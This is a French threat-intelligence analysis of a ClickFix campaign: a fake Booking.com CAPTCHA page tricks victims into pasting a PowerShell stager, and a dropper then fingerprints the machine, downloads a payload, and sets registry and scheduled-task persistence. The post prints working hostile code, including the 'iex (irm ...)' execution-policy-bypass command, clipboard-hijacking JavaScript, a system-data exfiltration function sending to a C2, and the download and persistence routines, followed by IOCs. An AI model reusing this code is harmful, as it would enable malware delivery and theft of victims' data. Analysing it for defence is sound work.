Préambule
Dans un précédent article, nous vous avions proposé un aperçu global de la technique ClickFix. Une chaine d'attaque exploitant cette méthode a été détectée à la mi mars 2026 et mise en lumière sur X (anciennement Twitter) par un membre de la communauté MalwareBazaar, connu pour partager régulièrement des échantillons de malwares. Bien que les attaquants aient changé les domaines utilisés initialement, nous proposons de décortiquer ensemble la chaîne d'attaque complète.
Phase d'accès initial
Appât de la victime
La chaîne d’attaque ClickFix présentée ici débute par une page web hébergée sur un domaine contrôlé par l’attaquant. La victime y accède après y avoir été « incitée », par exemple via un e-mail de phishing ou une publicité malveillante.
Visuel proposé
Afin de renforcer sa crédibilité, elle imite l’identité visuelle de Booking.com et présente un faux CAPTCHA ("Je ne suis pas un robot"). L’illustration ci-dessous présente la page web en apparence inoffensive... En réalité, un code JavaScript malveillant se cache derrière. Notez que l'URL ne correspond pas à booking.com :

Analyse du code malveillant
Le code JavaScript derrière cette page n’est pas obfusqué, et reste donc entièrement lisible. Plusieurs éléments ressortent de son analyse, notamment une gestion des erreurs explicite avec des mécanismes de fallback, ainsi qu’une structure de code relativement propre.
Ces caractéristiques peuvent suggérer l’utilisation d’un kit prêt à l’emploi.
Le fonctionnement du code JavaScript peut être décomposé en cinq étapes :
Initialisation et récupération de commande malveillante
Au chargement de la page, le script JS lance une requête asynchrone vers le serveur (le même que celui qui héberge la page).

La fonction getCommandFromServer démarre ainsi :
get_command
async function getCommandFromServer() {
try {
const response = await fetch('/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1');
const data = await response.json();
[...]
On remarque la présence d’un seul paramètre pour l'URL (get_command=1). Lors de nos tests, nous avons essayé d'injecter différentes valeurs à ce paramètre comme des nombres (0, 2…), des chaînes de caractères ainsi que des valeurs vides dans le but d'obtenir des informations supplémentaires. Dans tous les cas, le serveur renvoie le même contenu. Cela montre que l’implémentation côté serveur est très simple : get_command sert surtout de déclencheur et non à choisir dynamiquement un payload, du moins pour l’instant.
Ci-dessous sont illustrées la requête et la réponse côté navigateur au chargement de la page. On peut observer que le contenu retourné, au format JSON, contient une commande PowerShell, ce qui est fortement suspect...


À ce stade, la page est en cours de chargement et aucune action de l’utilisateur n’a encore été effectuée. La commande a été récupérée et stockée dans une variable globale pour être utilisée ultérieurement.
Info
Le fait de récupérer la commande de manière dynamique permet à l’attaquant de la modifier à tout moment sans avoir à changer le code côté client. Cela lui offre de la flexibilité (changement de commande à chaud) et complique la détection statique. En effet, il n'existe aucune trace directe de la commande dans le DOM ou le JavaScript, ce qui limite l’efficacité des scanners automatisés.
Cette commande PowerShell, exécutée par la victime lors de la dernière étape, utilise une technique dite fileless attack pour télécharger un script PowerShell depuis le domaine wiosyrondaty[.]com et l'exécuter directement en mémoire, sans écrire de fichier sur disque. Elle combine plusieurs options pour rester discrète et contourner les restrictions.
Le tableau ci-dessous récapitule chaque option :
Élément | Signification | Rôle |
-C | -Command | Indique que ce qui suit est une commande à exécuter directement |
-EP B | -ExecutionPolicy Bypass | Contourne la politique d’exécution locale pour autoriser le script |
-W H | -WindowStyle Hidden | Exécute PowerShell de façon discrète, sans fenêtre visible |
iex (irm wiosyrondaty[.]com) | iex correspond à la cmdlet Invoke‑Expression, exécute le texte reçu comme du code PowerShell, puis l’alias irm, qui désigne la cmdlet Invoke‑RestMethod, récupère le contenu renvoyé par le serveur. | Télécharge et exécute un script en mémoire, sans écrire sur disque (stager) |
Nous nous intéresserons plus tard au script PowerShell délivré.
Affichage séquentiel du leurre
Pendant la récupération de la commande, le script utilise une succession de setTimeout() pour faire apparaître progressivement l’interface du faux CAPTCHA. Cela crée une expérience réaliste, avec des délais et des transitions qui incitent l’utilisateur à cliquer sur la case à cocher. Ce code sert uniquement à rendre l’interface plus crédible et n’a aucun caractère malveillant.
Case à cocher et copie de la commande
À ce stade, la page est entièrement chargée. L’image ci-dessous montre l’apparence de la page à cet instant :

La case à cocher est le déclencheur principal : lorsqu’un utilisateur clique dessus, la commande stockée dans la variable globale est automatiquement copiée dans le presse‑papiers.
Le code JavaScript ci‑dessous illustre le mécanisme utilisé pour réaliser cette copie automatique :
copycmd
checkbox.addEventListener("click", function () {
if (!command) {
alert('Command not available');
return;
}
console.log('Copying command:', command);
const textarea = document.createElement('textarea');
textarea.value = command;
textarea.setAttribute('readonly', '');
textarea.style.position = 'absolute';
textarea.style.left = '-9999px';
document.body.appendChild(textarea);
textarea.select();
try {
const successful = document.execCommand('copy');
console.log('Copy command was ' + (successful ? 'successful' : 'unsuccessful'));
} catch (err) {
console.error('Failed to copy: ', err);
}
document.body.removeChild(textarea);
sendTelegramNotification();
});
Télémétrie via Telegram
Juste après la copie de la commande dans le presse‑papiers, la fonction sendTelegramNotification() effectue immédiatement une requête POST vers l’URL /ern‑ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s du serveur de ClickFix (sur le même domaine) et transmet les informations ci-dessous :
- l’identifiant de vérification unique,
- le domaine courant,
- la page web d'origine (referer),
- l’identification du client web (user-agent).
Ces informations permettent à l’attaquant de suivre en temps réel les utilisateurs ayant atteint cette étape : elles semblent servir de télémétrie.
Le code ci‑dessous illustre la fonction sendTelegramNotification() et la manière dont elle transmet toutes ces informations :
sendTelegram
function sendTelegramNotification() {
const data = {
verification_id: window.verificationId || verificationId,
domain: window.location.hostname,
referer: document.referrer,
user_agent: navigator.userAgent
};
fetch('/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(result => {
console.log('Telegram notification result:', result);
})
.catch(error => {
console.error('Error sending Telegram notification:', error);
});
}
Il est intéressant de constater que de nombreux console.log sont utilisés (probablement des traces de debug oubliées), ce qui permet de suivre, côté navigateur, l’exécution du code étape par étape. L’image ci‑dessous illustre ces console.log et leur enchaînement :

Surveillance et interception du copier-coller
Les auteurs de ce code ont probablement pensé : « Et si l’utilisateur copie autre chose depuis la page ? ». Afin de s’assurer que la commande malveillante soit toujours dans le presse-papiers, ils ont créé une fonction qui intercepte toutes les actions de copie et remplace automatiquement le contenu du presse‑papiers par la commande malveillante. En clair, si vous copiez un mot ou un texte sur la page, vous copiez en réalité la commande malveillante.
Nous supposons qu’il s’agit d’une tentative de protection pour garantir que la commande soit toujours dans le presse-papiers, mais cette protection est loin d’être efficace : il suffit de copier un texte depuis un autre onglet ou en dehors de la page pour que leur plan tombe à l’eau...
Le code ci‑dessous illustre cette opération. On peut également constater que la fonction est conçue pour intercepter les copies sur tous les navigateurs, afin de maximiser les chances que la commande malveillante soit copiée dans le presse‑papiers.
intercepteCopy
document.addEventListener('copy', function (e) {
e.preventDefault();
if (command) {
try {
if (e.clipboardData) {
e.clipboardData.setData('text/plain', command);
console.log('Global copy intercepted, command set to clipboard');
} else if (window.clipboardData) {
window.clipboardData.setData('Text', command);
console.log('Global copy intercepted (IE), command set to clipboard');
}
} catch (err) {
console.error('Error in global copy handler:', err);
}
}
});
Suivez les instructions
À ce stade, la victime n’a plus que quelques actions à effectuer. L’image ci-dessous montre les instructions qui lui sont présentées. En suivant ces étapes, la victime exécute elle-même la commande malveillante, ce qui marque la fin de l'ingénierie sociale et permet le téléchargement d’un autre script, détaillé dans la section suivante.

Récapitulatif de la phase d'accès initial
La première étape de la chaîne d'attaque repose entièrement sur de l'ingénierie sociale via une fausse interface de type CAPTCHA. Ici, aucune exploitation technique : tout repose sur l’utilisateur, qui est amené à effectuer lui-même les actions critiques.
Entre la copie forcée dans le presse-papiers, l’interception des actions de copie et une interface crédible, tout est fait pour maximiser les chances que la commande malveillante soit exécutée.
Au final, la commande malveillante est lancée par la victime elle-même, ce qui permet de contourner assez facilement les protections classiques. Le mécanisme est simple, mais efficace.
Phase d'exécution
Lors de notre première analyse, nous avons supposé que, puisqu’aucune obfuscation n’était présente dans le code JavaScript, le script téléchargé n'en comporterait pas non plus. Cette hypothèse s’est avérée fausse.
Ci-dessous un extrait illustrant ce point :

L’analyse du code met en évidence cinq étapes-clés : il s’agit d’un dropper classique, qui télécharge, déploie, met en place un mécanisme de persistance et exécute une autre charge depuis Internet (probablement la charge finale).
Nous allons désormais étudier ensemble chacun d'entre elles.
Fingerprinting du système
Le script commence par une phase de reconnaissance du système. Son objectif est de collecter des informations détaillées sur la machine de la victime afin de déterminer l’environnement dans lequel il s’exécute. Il utilise des commandes PowerShell natives et des requêtes WMI pour récupérer des données sur le système d’exploitation, le matériel, les comptes utilisateurs, la présence d’antivirus, et d’autres paramètres critiques.
Ces informations sont ensuite transmises au serveur de commandes via une requête vers une URL construite dynamiquement via la fonction ci-dessous :
elbdfmh_zhgbspmno_bdwttqsxb_bxlhbsehf3rs2q
function elbdfmh_zhgbspmno_bdwttqsxb_bxlhbsehf3rs2q($event, $note="", $path="", $file="") {
$url = 'https://wiosyrondaty[.]com' + '/0I7IRN3o4o8GefoYto39mLjnEmdxcEEK73hReyAT6-A'
$n = (Get-Random -Minimum 1000 -Maximum 99999)
try {
$getUrl = $url + '?id=' + [System.Uri]::EscapeDataString([string]$vxflcwek_taxuk_klnlrpnujh4w1ld1eccq4c) + '&s=' + [System.Uri]::EscapeDataString([string]$event) + '&user=' + [System.Uri]::EscapeDataString([string]$ccnvc_jxjlbn_derwuvwayblqdg5) + '&pc=' + [System.Uri]::EscapeDataString([string]$hcgzi_xkbejhfx3hrl9cz55jv1t2y) + '&cwd=' + [System.Uri]::EscapeDataString([string]$path) + '&osver=' + [System.Uri]::EscapeDataString([string]$nckk_rvcjmubkd1_kzegd9_pryqmenc) + '&osname=' + [System.Uri]::EscapeDataString([string]$rzakz_mfgapwedtcl4l2z4tpdk) + '&pcmodel=' + [System.Uri]::EscapeDataString([string]$psqij_wybmtargz_gieamgogg65xc36zed8) + '&pcmanuf=' + [System.Uri]::EscapeDataString([string]$eip_nhnwzepml9wcacm7xgv08n4819ur) + '&psv=' + [System.Uri]::EscapeDataString([string]$zwwjog_efxw_xyp8_lahb) + '&admin=' + [System.Uri]::EscapeDataString([string]$kty5_evznwrx_wzv67xfu) + '&avinfo=' + [System.Uri]::EscapeDataString([string]$zdqn_noxiudjz10xipuujr9nau) + '&cpu=' + [System.Uri]::EscapeDataString([string]$wqbat6_ymbxnzy_myrwplsco_bt) + '&ram=' + [System.Uri]::EscapeDataString([string]$ptuucgsqt8_yzawg7tubg5y0yd1vs) + '&gpu=' + [System.Uri]::EscapeDataString([string]$hxkwtae_aajae45hujan96) + '&domain=' + [System.Uri]::EscapeDataString([string]$ichdxegc_zanevfyp2y) + '&arch=' + [System.Uri]::EscapeDataString([string]$zmb6_vjwgxzwh6_xfgvtqh94gnmd) + '&tz=' + [System.Uri]::EscapeDataString([string]$rdfboyqe_mik_ikzxrxr5i1gtwow33do) + '&noise=' + $n
if ($file -ne $null -and [string]$file -ne '') { $getUrl += '&exe_name=' + [System.Uri]::EscapeDataString([string]$file) }
if ($note -ne $null -and [string]$note -ne '') { $getUrl += '&msg=' + [System.Uri]::EscapeDataString([string]$note) }
$null = Invoke-WebRequest -Uri $getUrl -Method GET -UseBasicParsing -TimeoutSec 12
} catch {
try {
$m = $url + '?id=' + [System.Uri]::EscapeDataString([string]$vxflcwek_taxuk_klnlrpnujh4w1ld1eccq4c) + '&s=' + [System.Uri]::EscapeDataString([string]$event) + '&user=' + [System.Uri]::EscapeDataString([string]$ccnvc_jxjlbn_derwuvwayblqdg5) + '&pc=' + [System.Uri]::EscapeDataString([string]$hcgzi_xkbejhfx3hrl9cz55jv1t2y) + '&noise=' + $n
$null = Invoke-WebRequest -Uri $m -Method GET -UseBasicParsing -TimeoutSec 12
} catch { }
}
}
Si le système cible ne correspond pas aux attentes (trop vieux, non pertinent, etc.), le dropper ne réagit pas : il ne comporte aucun mécanisme d'arrêt et continue son exécution.
Ci-dessous les lignes de code responsables de la collecte des informations :
— Collecte de base (variables d'environnement) : Le script commence par récupérer des informations simples via les variables d’environnement, comme le nom d’utilisateur et le nom de la machine.
$ccnvc_jxjlbn_derwuvwayblqdg5 = $env:USERNAME
$hcgzi_xkbejhfx3hrl9cz55jv1t2y = $env:COMPUTERNAME
$nckk_rvcjmubkd1_kzegd9_pryqmenc = [Environment]::OSVersion.VersionString
— Informations système via WMI : Des requêtes WMI sont utilisées pour obtenir des détails plus précis sur le fabricant de PC et le modèle.
$ilmnd_ltuvggtn_wcj03ql6wqb = Get-WmiObject -Class Win32_ComputerSystem
$psqij_wybmtargz_gieamgogg65xc36zed8 = $ilmnd_ltuvggtn_wcj03ql6wqb.Model
$eip_nhnwzepml9wcacm7xgv08n4819ur = $ilmnd_ltuvggtn_wcj03ql6wqb.Manufacturer
$rzakz_mfgapwedtcl4l2z4tpdk = (Get-WmiObject -Class Win32_OperatingSystem).Caption
— Version PowerShell & privilèges : Le script vérifie la version de Powershell et va déterminer si le script s’exécute sous un compte disposant des droits d’administrateur.
$zwwjog_efxw_xyp8_lahb = $PSVersionTable.PSVersion.ToString()
$kty5_evznwrx_wzv67xfu = (
[Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()
).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
— CPU : Des informations sur le processeur sont collectées, en particulier le nom complet du CPU.
$p = Get-WmiObject -Class Win32_Processor -ErrorAction SilentlyContinue | Select-Object -First 1
if ($p -and $p.Name) {
$wqbat6_ymbxnzy_myrwplsco_bt = ($p.Name -replace '\s{2,}', ' ').Trim()
}
— RAM : La quantité de mémoire vive disponible est récupérée.
$cs = Get-WmiObject -Class Win32_ComputerSystem -ErrorAction SilentlyContinue
if ($cs -and $null -ne $cs.TotalPhysicalMemory) {
$gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 1)
$ptuucgsqt8_yzawg7tubg5y0yd1vs = "$gb GB"
}
— Antivirus : Une requête permet de détecter les solutions antivirus installées sur le système.
$zdqn_noxiudjz10xipuujr9nau = Get-CimInstance -ClassName AntiVirusProduct `
-Namespace root/SecurityCenter2 -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty displayName
if ($zdqn_noxiudjz10xipuujr9nau) {
$zdqn_noxiudjz10xipuujr9nau = ($zdqn_noxiudjz10xipuujr9nau -join " | ")
} else {
$zdqn_noxiudjz10xipuujr9nau = "None"
}
— Domaine : Le script tente de déterminer si la machine est rattachée à un domaine Active Directory.
if ($env:USERDOMAIN) {
$ichdxegc_zanevfyp2y = $env:USERDOMAIN
} elseif ($env:LOGONSERVER) {
$ichdxegc_zanevfyp2y = $env:LOGONSERVER -replace '\\', ''
}
— Architecture : L’architecture du système (32 ou 64 bits) est identifiée.
if ([Environment]::Is64BitOperatingSystem) {
$zmb6_vjwgxzwh6_xfgvtqh94gnmd = "x64"
} else {
$zmb6_vjwgxzwh6_xfgvtqh94gnmd = "x86"
}
— Fuseau horaire : Le fuseau horaire est récupéré.
$tz = Get-TimeZone -ErrorAction SilentlyContinue
if ($tz) {
$rdfboyqe_mik_ikzxrxr5i1gtwow33do = $tz.Id
}
Téléchargement d'un autre payload
Après la reconnaissance, le dropper ne perd pas de temps et télécharge une archive ZIP depuis https://hailmeinc[.]com/bkmsiqop[.]zip en utilisant principalement l’API HttpClient. Il contient une gestion avancée des erreurs avec un mécanisme de compteur de tentatives ($maxAttempts = 4). Le fichier est d’abord enregistré sous forme temporaire (.tmp) dans le dossier %TEMP%, puis sa taille et sa validité en tant qu’archive ZIP sont vérifiées avant d’être renommé en .zip.
En cas d’échec des premières tentatives (jusqu’à 3), le script bascule vers une méthode alternative en utilisant Invoke-WebRequest. Une fois le téléchargement validé, le script envoie un message de succès au serveur C2 (Command and Control).
Info
Si le téléchargement de la charge échoue ou est invalide, le script supprime les fichiers temporaires, envoie un message download_fail au serveur C2, et l’infection s’arrête.
Le code ci-dessous en illustre le fonctionnement :
$rmrnmjv_xowrzfw_ergg = 'https://hailmeinc.com/bkmsiqop[.]zip'
$kayptkrgh_cebx_ytc_ist45mlz = "$env:TEMP\metvtbg3_zpd_ptred.zip"
$ybhjmpx_thul7yx6q361p4hxk = $kayptkrgh_cebx_ytc_ist45mlz + ".tmp"
$minValidBytes = 10240
$maxAttempts = 4
$totalTimeoutSec = 320
for ($attempt = 0; $attempt -lt $maxAttempts; $attempt++) {
if ($attempt -le 2) {
$handler = New-Object System.Net.Http.HttpClientHandler
$handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate
$client = New-Object System.Net.Http.HttpClient($handler)
$client.Timeout = [TimeSpan]::FromSeconds($totalTimeoutSec)
$client.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0")
$response = $client.GetAsync($rmrnmjv_xowrzfw_ergg).Result
$stream = $response.Content.ReadAsStreamAsync().Result
$fs = [System.IO.File]::Create($ybhjmpx_thul7yx6q361p4hxk)
$stream.CopyTo($fs)
$fs.Close()
$stream.Close()
$client.Dispose()
}
else {
$progressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $rmrnmjv_xowrzfw_ergg `
-OutFile $ybhjmpx_thul7yx6q361p4hxk `
-UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" `
-UseBasicParsing `
-TimeoutSec $totalTimeoutSec `
-MaximumRedirection 5
}
if (Test-Path $ybhjmpx_thul7yx6q361p4hxk) {
$fileInfo = Get-Item $ybhjmpx_thul7yx6q361p4hxk
if ($fileInfo.Length -ge $minValidBytes) {
Move-Item $ybhjmpx_thul7yx6q361p4hxk $kayptkrgh_cebx_ytc_ist45mlz -Force
break
}
}
}
Déploiement
Après téléchargement, le dropper tente de déployer la charge dans plusieurs dossiers possibles sur le système.
Il définit d’abord une liste de dossiers candidats, tous situés dans le profil de l’utilisateur. En théorie, il ne devrait donc pas y avoir de problème d’écriture.
$folders = @(
"$env:LOCALAPPDATA",
"$env:APPDATA",
"$env:TEMP",
"$env:USERPROFILE\AppData\Local",
"$env:USERPROFILE\Documents"
)
Ensuite, il parcourt chaque dossier pour y extraire l'archive ZIP dans un sous dossier unique puis cacher les fichiers extraits (via les attributs de fichier). En cas de problème, il tente sa chance avec le prochain dossier de la liste.
Persistance
Une fois déployé, le dropper assure la persistance du payload en programmant le lancement automatique de l’exécutable final au démarrage de la session de l'utilisateur. Pour l'identifier, il cherche parmi les fichiers extraits, le premier fichier d'extension .exe ou .bat.
$pxtpgmp_mzlpvpwd_djkfv5euf5ym = Get-ChildItem -LiteralPath $hjczxmu5_ylniricgh5t9o1egfo8v5vx -Filter "*.exe" -Recurse -File -ErrorAction SilentlyContinue | Select-Object -First 1
if (-not $pxtpgmp_mzlpvpwd_djkfv5euf5ym) {
$pxtpgmp_mzlpvpwd_djkfv5euf5ym = Get-ChildItem -LiteralPath $hjczxmu5_ylniricgh5t9o1egfo8v5vx -Filter "*.bat" -Recurse -File -ErrorAction SilentlyContinue | Select-Object -First 1
}
[...]
$dak_byhtc_rbcqve47lftj33h67wvs5mtq = $pxtpgmp_mzlpvpwd_djkfv5euf5ym.FullName
[...]
$buodgdzpc_abmemxc_jnqbazymol7m1gv = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
$ztiby6_lsofozr7hfvcxz19dwufszdig2hn = "ivni9_sauqw9_csq_jzdfo${var_map['unique_tag']}"
$dhri_qrzloz2_mcf_abwapumflh = '"' + $dak_byhtc_rbcqve47lftj33h67wvs5mtq + '"'
try {
Set-ItemProperty -Path $buodgdzpc_abmemxc_jnqbazymol7m1gv -Name $ztiby6_lsofozr7hfvcxz19dwufszdig2hn -Value $dhri_qrzloz2_mcf_abwapumflh -ErrorAction Stop
[...]
Voici un aperçu de la clef registre créée pour le cas spécifique du payload de cette chaine d'attaque :

Si cette méthode échoue, le dropper tente un fallback avec une tâche planifiée :
$tqkek_oxp_oxwi_rahjn7lojrz1bwd5 = "ivni9_sauqw9_csq_jzdfo${var_map['unique_tag']}"
[...]
$taskTr = '"' + $dak_byhtc_rbcqve47lftj33h67wvs5mtq + '"'
$taskCreated = $false
try {
$null = & schtasks /create /tn $tqkek_oxp_oxwi_rahjn7lojrz1bwd5 /tr $taskTr /sc onlogon /f /rl limited
if ($LASTEXITCODE -eq 0) { $taskCreated = $true; $utl_iawknluwgoky6rb0nvzt5h0yj6y4s = $true }
} catch { }
Ici, il crée une tâche planifiée nommée ivni9_sauqw9_csq_jzdfo qui exécute le payload à chaque ouverture de session de l’utilisateur.
La persistance repose sur le registre et les tâches planifiées. Si les deux échouent, le dropper n’essaie aucun autre mécanisme et le payload ne survivra pas aux fermetures de session Windows.
Exécution de la charge
Le dropper lance le payload final, soit directement via son exécutable ou son script de démarrage. L’exécution se fait en arrière-plan et sans interaction avec l’utilisateur.
$dhri_qrzloz2_mcf_abwapumflh = '"' + $dak_byhtc_rbcqve47lftj33h67wvs5mtq + '"'
Start-Process -FilePath $dak_byhtc_rbcqve47lftj33h67wvs5mtq -WindowStyle Hidden
Récapitulatif de la phase d'exécution
Ce script PowerShell correspond à un dropper classique, structuré autour de plusieurs étapes bien définies :
- Reconnaissance du système,
- Téléchargement de la charge,
- Déploiement,
- Tentative de persistance,
- Exécution du payload.
L’analyse montre une logique simple mais efficace, avec des mécanismes de repli (multiples dossiers, méthodes de persistance alternatives) permettant d’augmenter les chances de succès. Le script intègre également un système de reporting, offrant à l’attaquant une visibilité sur le déroulement de chaque étape.
Dans un prochain article, nous analyserons la charge finale déposée et exécutée chez la victime.
Mapping des techniques observées (MITRE ATT&CK)
Tactique | Technique | Description |
Execution | User Execution: Malicious Copy and Paste | |
Execution | Command and Scripting Interpreter: PowerShell | |
Persistence, Privilege Escalation | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | |
Persistence, Execution | Scheduled Task/Job: Scheduled Task | |
Discovery | Account Discovery | |
Discovery | Software Discovery: Security Software Discovery | |
Discovery | System Time Discovery |
L'équivalent renseigné dans la matrice MITRE donne ce visuel :

IOCs identifiés
Type | Usage | Valeur | Description |
Domaine | ClickFix | accountpulsecentre.help | Site malveillant exploitant la technique ClickFix et fournissant la commande malveillante initiale. |
Domaine | Payload n°1 C2 n°1 | wiosyrondaty.com | Fourniture d'un premier payload en PowerShell. |
URL | ClickFix | https[:]//accountpulsecentre[.]help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1 | Fourniture de commande ClickFix. |
URL | ClickFix | https[:]//accountpulsecentre[.]help/ern‑ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s | URL de notification informant qu'un utilisateur a copié la commande malveillante dans son presse-papiers. |
URL | C2 n°1 | https[:]//wiosyrondaty[.]com/0I7IRN3o4o8GefoYto39mLjnEmdxcEEK73hReyAT6-A | URL utilisée pour exfiltrer les informations découvertes sur le système de la victime. Les informations sont transmises en paramètre de requête GET. |
Domaine | Payload n°2 | hailmeinc[.]com | C2 d'un autre payload. |
URL | C2 n°2 | https[:]//hailmeinc[.]com/bkmsiqop[.]zip | Fourniture d'un second payload. |
Fichier | Payload n°2 | %TEMP%metvtbg3_zpd_ptred.zip | Payload téléchargé sous forme d'archive ZIP. |
Fichier | Payload n°2 | %TEMP%metvtbg3_zpd_ptred.zip.tmp | Fichier temporaire de téléchargement du payload n°2. Ce fichier n'est pas supprimé si le téléchargement délivre un fichier de moins de 10 KB. |
Registre | Persistance payload n°1 | HKCUSoftwareMicrosoftWindowsCurrentVersionRunivni9_sauqw9_csq_jzdfo | Clé registre de démarrage du payload à l'ouverture de la session de l'utilisateur. |
Tâche planifiée | Persistance payload n°1 | ivni9_sauqw9_csq_jzdfo | Tâche planifiée de démarrage du payload à l'ouverture de la session de l'utilisateur. |